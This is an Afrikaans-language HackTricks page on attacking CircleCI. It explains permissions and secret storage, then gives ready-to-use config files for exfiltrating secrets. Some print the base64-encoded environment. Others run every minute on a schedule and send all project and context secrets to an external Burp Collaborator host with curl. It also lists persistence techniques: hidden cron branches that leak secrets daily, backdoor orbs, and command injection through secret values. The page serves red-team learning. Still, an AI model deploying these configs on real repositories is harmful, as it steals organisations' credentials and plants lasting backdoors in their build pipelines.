CircleCI Security

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

CircleCI is 'n Kontinue Integrasie platform waar jy sjablone kan definieer wat aandui wat jy wil hê dit moet doen met 'n bietjie kode en wanneer dit moet gebeur. Op hierdie manier kan jy toetse outomatiseer of ontplooiings direk vanaf jou repo meester tak byvoorbeeld.

Toestemmings

CircleCI erf die toestemmings van github en bitbucket rakende die rekening wat aanmeld. In my toetsing het ek vasgestel dat solank jy skryftoestemmings oor die repo in github het, sal jy in staat wees om die projekinstellings in CircleCI te bestuur (nuwe ssh-sleutels instel, projek api-sleutels kry, nuwe takke met nuwe CircleCI-opsette skep...).

Tog moet jy 'n repo-admin wees om die repo in 'n CircleCI-projek te omskep.

Omgewingsveranderlikes & Geheime

Volgens die dokumentasie is daar verskillende maniere om waardes in omgewingsveranderlikes binne 'n werkstroom te laai.

Ingeboude omgewingsveranderlikes

Elke houer wat deur CircleCI uitgevoer word, sal altyd spesifieke omgewingsveranderlikes hê wat in die dokumentasie gedefinieer is soos CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME of CIRCLE_USERNAME.

Duidelike teks

Jy kan hulle in duidelike teks binne 'n opdrag verklaar:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Jy kan hulle in duidelike teks binne die run-omgewing verklaar:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Jy kan hulle in duidelike teks binne die bou-werk omgewing verklaar:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Jy kan hulle in duidelike teks binne die omgewing van 'n houer verklaar:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Projek Geheime

Hierdie is geheime wat slegs deur die projek (deur enige tak) toeganklik sal wees. Jy kan hulle sien gedeklareer in https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Die "Invoer Veranderlikes" funksionaliteit maak dit moontlik om veranderlikes van ander projekte na hierdie een in te voer.

Konteks Geheime

Hierdie is geheime wat org wyd is. Standaard sal enige repo in staat wees om enige geheim wat hier gestoor word, te benader:

Let wel dat 'n ander groep (in plaas van Alle lede) gekies kan word om slegs toegang tot die geheime aan spesifieke mense te gee. Dit is tans een van die beste maniere om die sekuriteit van die geheime te verhoog, om nie almal toegang daartoe te gee nie, maar net aan 'n paar mense.

Aanvalle

Soek Duidelike Teks Geheime

As jy toegang het tot die VCS (soos github) kyk na die lêer .circleci/config.yml van elke repo op elke tak en soek vir potensiële duidelike teks geheime wat daarin gestoor is.

Geheime Omgewingsveranderlikes & Konteks enumerasie

Deur die kode te ondersoek, kan jy al die geheimname vind wat in elke .circleci/config.yml lêer gebruik word. Jy kan ook die konteksname uit daardie lêers kry of dit in die webkonsol nakyk: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Exfiltreer Projekgeheime

Om ALLE die projek- en konteks GEHEIME te exfiltreer, hoef jy net SKRYF toegang tot net 1 repo in die hele github org te hê (en jou rekening moet toegang tot die kontekste hê, maar standaard kan almal toegang tot elke konteks kry).

Die "Invoer Veranderlikes" funksionaliteit maak dit moontlik om veranderlikes van ander projekte na hierdie een in te voer. Daarom kan 'n aanvaller alle projekveranderlikes van al die repos invoer en dan almal saam exfiltrate.

Al die projekgeheime word altyd in die omgewing van die take ingestel, dus deur net omgewing te noem en dit in base64 te verduister, sal dit die geheime in die werkstroom web konsolideer exfiltrate:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Indien jy nie toegang tot die webkonsole het nie, maar jy het toegang tot die repo en jy weet dat CircleCI gebruik word, kan jy net 'n werkstroom skep wat elke minuut geaktiveer word en wat die geheime na 'n eksterne adres onttrek:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Uitlek van Konteksgeheime

Jy moet die konteksnaam spesifiseer (dit sal ook die projekgeheime uitlek):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Indien jy nie toegang tot die webkonsol het nie maar jy het toegang tot die repo en jy weet dat CircleCI gebruik word, kan jy net 'n werkstroom wysig wat elke minuut geaktiveer word en wat die geheime na 'n eksterne adres onttrek:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Net die skep van 'n nuwe .circleci/config.yml in 'n repo is nie genoeg om 'n CircleCI-bou te trigger nie. Jy moet dit aktiveer as 'n projek in die CircleCI-konsole.

Ontsnapping na die Wolk

CircleCI gee jou die opsie om jou bouprojekte op hul rekenaars of op jou eie rekenaars te hardloop. Standaard is hul rekenaars geleë in GCP, en aanvanklik sal jy nie enige relevante inligting vind nie. Tog, as 'n slagoffer die take in hul eie rekenaars (moontlik in 'n wolkomgewing) hardloop, mag jy 'n wolkmetadatabron met interessante inligting daarop vind.

Let daarop dat in die vorige voorbeelde alles binne 'n dokkerhouer uitgevoer is, maar jy kan ook vra om 'n VM-rekenaar te laat uitvoer (wat moontlik verskillende wolktoestemmings kan hê):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Of self 'n docker houer met toegang tot 'n afgeleë docker-diens:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Volharding

  • Dit is moontlik om gebruikerstokens in CircleCI te skep om toegang tot die API-eindpunte met die gebruikers se toegang te verkry.

  • https://app.circleci.com/settings/user/tokens

  • Dit is moontlik om projekstokens te skep om toegang tot die projek met die toestemmings wat aan die token gegee is, te verkry.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Dit is moontlik om SSH-sleutels by die projekte toe te voeg.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Dit is moontlik om 'n cron-werk in 'n verborge tak in 'n onverwagte projek te skep wat elke dag al die konteksomgewingsveranderlikes lek.

  • Of selfs 'n tak skep / wysig in 'n bekende werk wat elke dag alle konteks en projekgeheime lek.

  • As jy 'n github-eienaar is, kan jy nie-geverifieerde orbs toelaat en een in 'n werk as agterdeur konfigureer

  • Jy kan 'n bevelinspuitingskwesbaarheid in 'n paar take vind en bevele inspuit via 'n geheim deur sy waarde te wysig

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated